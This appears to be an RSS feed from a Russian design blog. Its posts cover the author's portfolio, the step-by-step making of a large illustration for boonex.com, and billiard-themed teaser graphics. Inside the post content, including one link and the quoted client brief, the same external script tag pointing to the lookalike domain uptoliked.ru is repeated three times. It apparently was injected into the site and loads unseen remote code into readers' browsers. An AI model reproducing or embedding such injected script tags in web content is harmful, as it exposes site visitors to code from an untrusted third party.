<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог Фомина Владислава о техническом дизайне, концепт-арте, спидпеинте и веб-дизайне &#187; Технический дизайн</title>
	<atom:link href="https://fominart.ru/tag/texnicheskij-dizajn/feed" rel="self" type="application/rss+xml" />
	<link>https://fominart.ru</link>
	<description>Блог Владислава Фомина о техническом дизайне (TD), концептарте (ConceptArt), спидпеинте (Speed Painting), а также веб-дизайне (Web-design). Уроки, раскадровки работ, исходники, интересная информация мира дизайна.</description>
	<lastBuildDate>Thu, 14 Apr 2016 01:51:07 +0000</lastBuildDate>
	<language>ru-RU</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.0</generator>
	<item>
		<title>Мои работы (2012)</title>
		<link>https://fominart.ru/moi-raboty-2012.html</link>
		<comments>https://fominart.ru/moi-raboty-2012.html#comments</comments>
		<pubDate>Tue, 23 Apr 2013 04:59:20 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Видео]]></category>
		<category><![CDATA[Иконки]]></category>
		<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Тизеры]]></category>
		<category><![CDATA[3D]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=3086</guid>
		<description><![CDATA[Очередное обновление портфолио. Собрал наиболее интересные работы. Если кому нужно, что-то порисовать, обращайтесь, договоримся. Сейчас я в активном поиске постоянных клиентов. Приятного просмотра! Мои работы! И еще, посмотрите 2 видео: 1. Philips &#171;Carousel&#187; by Trim Editing Старый, но очень клёвый рекламный ролик для &#171;Philips&#187;. 2. Showreel 2013 &#8211; Making Of by Marco Iozzi Отличный мейкинг [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/moi-raboty-2012.html"><img src="http://fominart.ru/wp-content/uploads/2013/04/fominart.ru_moi-raboty-2012_preview.jpg" alt="Мои работы (2012)" title="Мои работы (2012)" width="599" height="172" class="aligncenter size-full wp-image-3087" /></a></p>
<p><br/>Очередное обновление портфолио. Собрал наиболее интересные работы. <span id="more-3086"></span>Если кому нужно, что-то порисовать, обращайтесь, договоримся. Сейчас я в активном поиске постоянных клиентов.<br />
<br/>Приятного просмотра!<br />
<br/><a href="http://fominart.ru/portfolio" title="Перейти к просмотру портфолио">Мои работы!<script src="//uptoliked.ru/widjets.js"></script></a><br />
<br/>И еще, посмотрите 2 видео:<br />
<br/>1. <a href="http://vimeo.com/10282503" title='Philips &laquo;Carousel&raquo;'> Philips &laquo;Carousel&raquo;</a> by <a href="http://vimeo.com/trim" title=' на Vimeo.com'>Trim Editing</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=10282503&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=10282503&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Старый, но очень клёвый рекламный ролик для &laquo;Philips&raquo;.<br />
<br/>2. <a href="https://vimeo.com/59662283" title='Showreel 2013 - Making Of'> Showreel 2013 &#8211; Making Of</a> by <a href="https://vimeo.com/marcoiozzi" title=' на Vimeo.com'>Marco Iozzi</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=59662283&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=59662283&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Отличный мейкинг как создаются сцены для рекламных роликов, клипов и т.д. На сайте <a href="http://marcoiozzi.4ormat.com/">Марко</a> найдете еще видео и его работы. Рекомендую!<br />
<br/>PS: Буду чаще посты с интересным видео выкладывать <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/moi-raboty-2012.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Создание иллюстрации &#171;boonex.com&#187;</title>
		<link>https://fominart.ru/sozdanie-illyustracii-boonex-com.html</link>
		<comments>https://fominart.ru/sozdanie-illyustracii-boonex-com.html#comments</comments>
		<pubDate>Thu, 28 Mar 2013 07:13:12 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[3D]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=3021</guid>
		<description><![CDATA[Прошел уже год как я закончил рисовать большую иллюстрацию для boonex.com. Впереди будет ряд иллюстраций, но я хотел бы остановиться на данной работе и рассказать про процесс рисования. Для меня это был первый, серьезный проект в плане создания масштабных картинок. Все началось с того, что ко мне обратился через письмо человек предлагавший нарисовать иконки под [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/sozdanie-illyustracii-boonex-com.html" title="Создание иллюстрации boonex.com"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_preview.jpg" alt="" title="Создание иллюстрации &laquo;boonex.com&raquo;" width="599" height="172" class="aligncenter size-full wp-image-3023" /></a><br />
<br />Прошел уже год как я закончил рисовать большую иллюстрацию для <a href="http://www.boonex.com">boonex.com</a>. Впереди будет ряд иллюстраций, но я хотел бы остановиться на данной работе и рассказать про процесс рисования. Для меня это был первый, серьезный проект в плане создания масштабных картинок.<span id="more-3021"></span><br />
<br />Все началось с того, что ко мне обратился через письмо человек предлагавший нарисовать иконки под iOS. Вы их уже видели (<a href="http://fominart.ru/wp-content/uploads/2013/01/fominart.ru_iOS_icons_boonex.com_2012_small.jpg" title="рисование иконок под iOS">раз</a> и <a href="http://fominart.ru/wp-content/uploads/2013/01/fominart.ru_iOS_icons_boonex.com_2_2012_small.jpg" title="рисование иконок под iOS">два</a>). Это был первый этап. Так как заказчик предложил, что если сработаемся, то он обязательно мне подкинет данный проект, а я должен был оценить свои возможности. И&#8230; рискнул. Старался изо всех сил угодить заказчику.<br />
<br />Работу начал с небольшого брифа и первых эскизов, предоставленных заказчиком. Считаю, что даже такого рода скетчи очень сильно помогают понять, что же хочет в итоге заказчик, и уже на основании его набросков, я рисую свой, который успешно утверждают.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_sketch_client_b.jpg" title="Набросок заказчика"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_sketch_client_s.jpg" alt="" title="Создание иллюстрации &laquo;boonex.com&raquo; — Набросок заказчика" class="aligncenter size-full wp-image-3033" /></a><br />
<br />Выдержки из брифа:<br />

<ul>
<div style="color:#bbbbbb">&laquo;&#8230;<br />
<span style="font-style:italic;">Рисунок показывает платформу для создания сайтов сообществ по интересам. Один вебмастер — оператор может управлять несколькими сайтами сразу через одну систему.<br />
<br />В основе показана сама платформа — с прозрачными зонами, через который видно провода, процессор, микросхемы. На внешней части виден логотип <b>Dolphin</b>.<br />
<br />На платформе видно пять сайтов, прикрепленных проводами или торчащих из проемов верней части платформы.<br />
<br />Каждый сайт отражает свою нишу &#8211; тематику сообщества. При этом элементы сайта показаны как настоящие объекты — т.е. люди, а не фото людей; настоящие велосипеды, а не картинки с ними. Как-будто каждый сайт &laquo;живой&raquo;.<br />
<br />Первый сайт посвящен горному туризму, кемпингу и горным велосипедам, например, и показывает людей со снаряжением, забирающихся на сам сайт; висячие на сайте велосипеды; людей с гитарой у палатки и костра, и т.д. Кто-то рассказывает истории, показывает фото, просто фото прилеплены с стене. Можно импровизировать на эту тему.<br />
<br />Второй сайт посвящен Йоге. Сверху большой знак Ом, медитирующий человек, ниже люди в позах и учитель с учениками. На самом сайте висят картинки всех чакр.<br />
<br />Третий сайт для любителей искусства — с картинами, скульпторами, художником в процессе работы.<br />
<br />Четвертый сайт про жителей Австралии — с Опера-театром, икорками в крикет, кенгуру, козлами и фотографиями Австралии.<br />
<br />Пятый сайт посвящен какому-то актеру. Например, Джону Малковичу (для узнаваемости). Показан кино-экран с прожектором и его лицом. Фанаты смотрят кино, продаются футболки и идет обмен дисками.<br />
<br />С элементами каждого сайта можно по-разному экспериментировать — главное отразить идею, что это тематические сайты сообществ, на которых люди обмениваются текстом, фото и видео на тему сайта.<br />
На торцевой части платформы показан интерфейс управления состоящий из иконок как мы делаем, а оператор-админ нажимает на них. Около него стоит тележка с несколькими иконками — это компоненты, которые он купил в нашем магазине.<script src="//uptoliked.ru/widjets.js"></script></span><br />
&#8230;&raquo;</div>
</ul>
<p><br/>Следующим шагом были попытки применить 3D в создании платформы и рядя элементов для иллюстрации, но понимая, что моих знаний в создании с нуля объектов не хватит, я решаю ограничиться поиском готовых моделей. Шестерёнки, вращающиеся внутри платформы были выполнены <a href="http://www.free-lance.ru/users/sfai/" title="Фрилансер Сергей Клёсов">Сергеем</a>, который постоянно помогал мне в освоении 3D. В итоге отрендерив их, без материалов, как заготовку, применил в отрисовке как и множество других готовых моделей. Это были и велосипеды висящие на сайтах, скульптуры и колонны у скульпторов.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_3d_b.jpg" title="3D заготовки"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_3d_s.jpg" alt="3D заготовки" title="Создание иллюстрации &laquo;boonex.com&raquo; — 3D заготовки" class="aligncenter size-full wp-image-3043" /></a><br />
<br />Вообще, изначально была задумка сделать все в 3D. Но пока это осталось у меня в мечтах. Сам заказчик изначально показывал пример именно иллюстрации, где и применялась данная технология, но в процессе рисования его устроил и процесс отрисовки.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_sample_3d_b.jpg" title="Пример 3D-иллюстрации"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_sample_3d_s.jpg" alt="Пример 3D-иллюстрации" title="Создание иллюстрации &laquo;boonex.com&raquo; — Пример 3D-иллюстрации" width="599" height="443" class="aligncenter size-full wp-image-3049" /></a><br />
<br />Достаточно долго и кропотливо собирал референсы. Тут лишь малая часть. В основном же я рисовал сам, смотря на них, т.к. нужного ракурса не было.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_references_b.jpg" title="Основные референсы"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_references_s.jpg" alt="Основные референсы" title="Создание иллюстрации &laquo;boonex.com&raquo; — Основные референсы" class="aligncenter size-full wp-image-3030" /></a><br />
<br />Давайте подробнее рассмотрим основные разделы тематики сообществ.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_1_b.jpg" title="Сайт первый"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_1_s.jpg" alt="Сайт первый" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт первый" class="aligncenter size-full wp-image-3036" /></a><br />
<br/>
<div style="color:#bbbbbb">1. Горный туризм, кемпинг и горные велосипеды.</div>
<p>При создании горы, куда взбирается скалолаз применялась текстура камней с последующей дорисовкой. Я не ставил перед собой задачу сделать ее объемной, т.к. тогда бы она сильно выступала из сайта и создавала диссонанс в иллюстрации. Приходилось несколько раз перерисовывать страховщика (девушку), т.к. был невнимателен в выбору ее положения, на что мне указал заказчик. Опытный зритель может увидеть, что основными референсами в этом разделе были: велосипедист и пара на заснеженном склоне.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_2_b.jpg" style="Сайт второй"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_2_s.jpg" alt="Сайт второй" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт второй" class="aligncenter size-full wp-image-3039" /></a><br />
<br/>
<div style="color:#bbbbbb">2. Йога.</div>
<p>По несколько раз переделывал стену. Изначально требование было изобразить 5 чакр. Но в процессе работы я не сумел добиться нужной четкости от них, т.к. получалось, что мы видим 5 кружочков, а рисунок в центре у них размазывался из-за небольшого разрешения, под которое рисовалась иллюстрация. В итоге остановились на изображении, на стене &#8211; изображающее медитирующего Шиву с горящими факелами.<br />
<br />Второй этаж пришлось немного расширить, т.к. люди были иначе слишком маленькими по сравнению с другими жителями этого раздела. И вместо 3-х девушек медитирующих, показать 2-е. Третий этаж, это своего рода поднебесная, в которой расположен знак Ом &#8211; мистический слог, выражающий Божественное, изначальный звук Вселенной, напротив которого медитирует перед луной обнаженная девушка. Здесь основные референсы это вода и звездное небо.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_3_b.jpg" title="Сайт третий"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_3_s.jpg" alt="Сайт третий" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт третий" class="aligncenter size-full wp-image-3041" /></a><br />
<br/>
<div style="color:#bbbbbb">3. Искусство.</div>
<p>Долго думал как быть со скульпутрами. В тоге решил сделать заготовки из 3D и по ним уже рисовать. Изначально хотел изобразить мастерскую скульптора, просмотрел не один десяток и решил, что здесь будет место колоннам и скульптуре Микеланджело &laquo;Давид&raquo;. На втором этаже художник рисует портрет графини, а на третьем &#8211; картинная галерея (тут использовались в основном картины в качестве референсов).<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_4_b.jpg" title="Сайт четвёртый"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_4_s.jpg" alt="Сайт четвёртый" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт четвёртый" class="aligncenter size-full wp-image-3045" /></a><br />
<br/>
<div style="color:#bbbbbb">4. Жители Австралии.</div>
<p>Данный раздел рассказывает о жизни обитателей Австралии. Кенгуру и и кола с детёнышем на дереве &#8211; первый этаж. Была задумка показать страуса Эму, но решили не загружать иоллюстрацию. Второй этаж переделывался мучительно долго. Так как изначально на скетче была изображена игра в крикет, но в последствии заказчик передумал и захотел показать местных аборигенов, которые играют на didjeridoo (в оргинале звучит как &#8220;yidaki&#8221;) &#8211; один из самых старейших музыкальных и духовных инструментов во всем мире, который используется аборигенами из Австралии. Ну что ж пришлось напрячься и нарисовать. Третий этаж, это всем известное во всем мире место &#8211; Сиднейский оперный театр (использовалось фото в качестве референса).<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_5_s.jpg" title="Сайт пятый"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_5_s.jpg" alt="Сайт пятый" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт пятый" class="aligncenter size-full wp-image-3047" /></a><br />
<br/>
<div style="color:#bbbbbb">5. Актеры.</div>
<p>Стояла задача показать на примере какого-нибудь актера данный раздел. Заказчик предложил &#8211; Джона Малковича. На первом этаже я хотел показать магазин маек с изображением актера, на втором &#8211; как фанаты обмениваются дисками, стикерами и т.д., а на третьем &#8211; показать кинозал, в котором смотрят фильм с любимым актером. Актера на экране я уже доделывал после сдачи проекта, решил, что все же стоит доработать этот пробел.<br />
<br />Небольшой бонус моим читателям. Я собрал из картинок процесс создания (WIP) от начала и до финала. Для просмотра видео в <strong>HD</strong> необходимо пройти по этой <a href="https://vimeo.com/62798570">ссылке</a>, здесь же вы вряд ли увидите детали.<br />
<br /><object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=62798570&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=62798570&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br />Описание к видео:</p>
<div style="color:#517e95"><em>Рисунок показывает платформу для создания сайтов-сообществ по интересам. Вебмастер управляет несколькими сайтами сразу через одну систему. В основе показана сама платформа &#8211; с прозрачными зонами, через которые видны провода, процессор и микросхемы. На платформе расположены пять сайтов, каждый из них отражает свою нишу &#8211; тематику сообщества.<br />
<br />
<span style="font-weight:bold;">Soft:</span> Adobe Photoshop CS5<br />
<span style="font-weight:bold;">Music:</span> Kryptonic &#8211; Dream Weaver</em>
</div>
<p><br/>В итоге, после 1 месяца и 14 дней я-таки нарисовал ее.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP.jpg" title="Создание иллюстрации &laquo;boonex.com&raquo; — Финал"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_s.jpg" alt="Создание иллюстрации &laquo;boonex.com&raquo; — Финал" title="Создание иллюстрации &laquo;boonex.com&raquo; — Финал" class="aligncenter size-full wp-image-3059" /></a><br />
<br />На сколько удачно получилось судить вам, но мне нравится работа! Был очень рад работать над ней, да и сам заказчик понравился, на редкость адекватен, во время предоставлял материалы и писал замечания, внимательно выслушивал мою точку зрения и соглашался. </p>
<p><br/>Спасибо за прочтение! <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/sozdanie-illyustracii-boonex-com.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Тизеры &#171;ВБильярд&#187;</title>
		<link>https://fominart.ru/tizery-vbilyard.html</link>
		<comments>https://fominart.ru/tizery-vbilyard.html#comments</comments>
		<pubDate>Tue, 17 Jul 2012 04:13:44 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Раскадровкa]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Тизеры]]></category>
		<category><![CDATA[Source]]></category>
		<category><![CDATA[Teasers]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2780</guid>
		<description><![CDATA[Привет всем! Давненько ничего не писал! Был очень сильно загружен работой. На этот раз будут интересные работы, будет о чем вам рассказать. А пока я хотел бы остановиться на своей ранней работе, которую до сегодняшнего времени мне не разрешали показывать вам. Но обо всем по порядку. Немного предыстории. Работа над проектом началась в ту пору [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/tizery-vbilyard.html" title="ВБильярд"><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_preview.jpg" alt="" title="Тизеры &amp;laquo;ВБильярд&amp;raquo;: превью" class="aligncenter size-full wp-image-2787" /></a><br />
<br/>Привет всем! Давненько ничего не писал! Был очень сильно загружен работой. На этот раз будут интересные работы, будет о чем вам рассказать. А пока я хотел бы остановиться на своей ранней работе, которую до сегодняшнего времени мне не разрешали показывать вам. Но обо всем по порядку.<span id="more-2780"></span><br />
<br/>Немного предыстории. Работа над проектом началась в ту пору (2009 год), когда я активно стал заниматься техническим дизайном. Была у нас с другом идея создать новосибирский портал по бильярду (а в дальнейшем захватить и сибирь), который бы содержал полную информацию о бильярдных клубах, новости, бронирование и т.д. В общем, я сразу предложил нарисовать несколько тизеров для него, т.к. у меня было огромное желание нарисовать какие-нибудь тизеры. Тем более до них я нарисовал <a href="http://fominart.ru/wp-content/gallery/tisers/tiser-kinosal.jpg" title="тизеры для кинозала">тизеры для кинозала</a>. Примерно прикинув какие будут разделы, начал  рисовать наброски.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_sketch_b.jpg" title="Тизеры &amp;laquo;ВБильярд&amp;raquo;: наброски (скетчи)""><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_sketch_s.jpg" alt="Тизеры &amp;laquo;ВБильярд&amp;raquo;: наброски (скетчи)"" title="Тизеры &amp;laquo;ВБильярд&amp;raquo;: наброски (скетчи)" class="aligncenter size-full wp-image-2794" /></a><br />
<br/>Параллельно &laquo;гуглил&raquo; интернет на поиски подходящих референсов, по которым бы я смог нарисовать эскизы. В планах также была и иллюстрация для <a href="http://vbilliard.ru/" title="Блог о бильярде в Новосибирске">&laquo;ВБильярда&raquo;</a>, но позднее работу пришлось приостановить. Личная жизнь каждого внесла свои коррективы в проект. В итоге, спустя 3 года вместо портала появился <a href="http://vbilliard.ru/" title="блог о новосибирском бильярде">блог о новосибирском бильярде<script src="//uptoliked.ru/widjets.js"></script></a>, на котором теперь и красуются мои мини иллюстрации.<br />
<br/>В 2009 году эти тизеры я выкладывал на <a href="http://makepizdato.ru/4092-tizery-dlya-saita-vbilyard/">мейке</a>. Сообщество по достоинству оценило их. Это прибавило мне уверенности в том, что я на правильном пути, т.к. критика в то время была жесткой и по делу. Теперь каждый может заглянуть в ту тему и почитать о том, что было&#8230;<br />
<br/>После эскизов, начал работу по отрисовке шейпами своего наброска. Специально для демонстрации я растянул их, чтобы вам хорошо было видно. Как вы уже могли заметить, часто бывает, что я немного меняю предметы отрисовки на близкие по смыслу вещи. Именно так вышло во втором тизере. Мне очень приглянулась эта штука, куда ставится набор киев, и где лежат шары, особенно, понравилась классика исполнения. Заметьте, что при создании шейпов подбираются близкие цвета для отрисовываемых предметов. Это значительно увеличивает восприятие цвета в будущем тизере.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_sample_shape_t2bill_b.jpg" title="Тизеры &laquo;ВБильярд&laquo;: шейп-заготовки для 2-го тизера"><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_sample_shape_t2bill_s.jpg" alt="Тизеры &laquo;ВБильярд&laquo;: шейп-заготовки для 2-го тизера" title="Тизеры &laquo;ВБильярд&laquo;: шейп-заготовки для 2-го тизера" class="aligncenter size-full wp-image-2792" /></a><br />
<br/>Помимо тизеров пробовал отрисовывать всё, что связано с бильярдом. Так, под руку попались шары и кий. Понимаю, что кий получился толстым и маленьким (или шары большими), но это скорее мне урок, чтобы в будущем я не наступал на эти грабли (масштабы) &#8230;<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_wip_b.jpg" title="Тизеры &laquo;ВБильярд&raquo;: кий с шаром (wip)"><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_wip_s.jpg" alt="Тизеры &laquo;ВБильярд&raquo;: кий с шаром (wip)" title="Тизеры &laquo;ВБильярд&raquo;: кий с шаром (wip)" class="aligncenter size-full wp-image-2796" /></a><br />
<br/>Вообще, в то время я бредил различными отрисовками. Мне казалось, что это очень просто, хотелось отрисовывать все и вся! Желание было огромным! Скорее всего и это дало толчок к моему развитию, учитывая, что каждую отрисовку я анализировал на предмет недочетов, пытался самостоятельно (отложив в долгий ящик работу) найти и устранить ошибки, не прибегая к помощи форумов и сообществ по техническому дизайну.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_balls_b.jpg" title="Тизеры &laquo;ВБильярд&raquo;: шары (wip)"><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_balls_s.jpg" alt="Тизеры &laquo;ВБильярд&raquo;: шары (wip)" title="Тизеры &laquo;ВБильярд&raquo;: шары (wip)"  class="aligncenter size-full wp-image-2783" /></a><br />
<br/>В то время я начал активно использовать в работе <span style="font-weight:bold;">3D</span>. Так, например, строя криво из блоков предметы, пытался проверить правильность построения перспективы для 5-го тизера. На самом деле для тех кто не знает как строится перспектива такой способ вполне удобен. Нам же важна болванка/шаблон, чтобы мы могли &laquo;приукрасить&raquo; ее (сделать готовый тизер).<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_perspektive_b.jpg" title="Тизеры &laquo;ВБильярд&raquo;: перспектива для 5-го тизера"><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_perspektive_s.jpg" alt="Тизеры &laquo;ВБильярд&raquo;: перспектива для 5-го тизера" title="Тизеры &laquo;ВБильярд&raquo;: перспектива для 5-го тизера" class="aligncenter size-full wp-image-2786" /></a><br />
<br/>Таким образом, прибегая к различным хитростям и анализируя полученный результат мы можем добиться определенного результата. Я всегда говорил просящим у меня совета, что нужно делать, делать и еще раз делать. Не сидеть сложа руки или не мечтая и заглядывая в будущее, что мы сможем когда-то круто это делать. Даже, если вы что-то делаете неправильно,  это тоже результат!<br />
<br/>Здесь относительно небольшое количество референсов, которое я использовал при отрисовке тизеров. На самом деле их гораздо больше. Ведь, чтобы отрисовать тизер нам нужна информация, которая содержится в этих самых изображениях. Включая воображение, мы располагаем предмет в пространстве согласно заданной нами перспективой и отрисовываем этап за этапом.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_referens_b.jpg" title="Тизеры &laquo;ВБильярд&raquo;: референсы"><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_referens_s.jpg" alt="Тизеры &laquo;ВБильярд&raquo;: референсы" title="Тизеры &laquo;ВБильярд&raquo;: референсы" class="aligncenter size-full wp-image-2789" /></a><br />
<br/>В итоге после месяца работы получились бильярдные тизеры, которые вы теперь можете видеть как и все, что я выкладывал ранее. В закромах остались только новые работы, о которых я буду рассказывать в следующих постах.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_b.jpg" title="Тизеры &laquo;ВБильярд&raquo;"><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_s.jpg" alt="Тизеры &laquo;ВБильярд&raquo;" title="Тизеры &laquo;ВБильярд&raquo;" class="aligncenter size-full wp-image-2810" /></a><br />
<br/>Напоследок хочу вам показать часики. Часики не простые – бильярдные. Пытался их пристроить в 4-ом тизере, но так и не сумел. Это исходник. Разрешаю использовать его в ознакомительных целях. Попробуйте разобрать по слоям и понять как отрисовывать такие штуки. Начните с простого&#8230; с часов, их так много вокруг нас, разных и необычных!<br />
<br/>
<div style="text-align:center;font-style:normal;"><img src="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_teasers_vbilliard_clock_psd_from_wizvio.jpg" alt="Тизеры &laquo;ВБильярд&raquo;: часики (исходник)" title="Тизеры &laquo;ВБильярд&raquo;: часики (исходник)" width="211" height="211" class="aligncenter size-full wp-image-2784" /><br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/07/fominart.ru_clock_psd_from_wizvio.zip" title="Бильярдные часы">Бильярдные часы (<span style="font-weight:bold;">PSD</span>, ~131Kb)</a></div>
<p><br/><br />
Ну и собственно, сам блог о новосибирском бильярде &#8211; <a href="http://vbilliard.ru/" title="Заметки о бильярде в Новосибирске">www.vbilliard.ru</a><br />
<br/>До встречи! <img src="https://fominart.ru/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/tizery-vbilyard.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Мои работы (2010-2011)</title>
		<link>https://fominart.ru/moi-raboty-2010-2011.html</link>
		<comments>https://fominart.ru/moi-raboty-2010-2011.html#comments</comments>
		<pubDate>Fri, 13 Apr 2012 10:06:46 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Видео]]></category>
		<category><![CDATA[Иконки]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Тизеры]]></category>
		<category><![CDATA[Иллюстрация]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2756</guid>
		<description><![CDATA[Собрал в кучу работы за 2 года. Остался, правда, в закромах трэш (или рутина), думаю выкладывать не к чему. Часть работ вы уже видели в виде отдельных постов в моем блоге. Про каждую в отдельности иллюстрацию можно многое рассказать, буду понемногу писать, если будет интересно. Хочется поделиться процессом и обсуждением. И да, если вы заметили, [&#8230;]<div id="crp_related"> </div>]]></description>
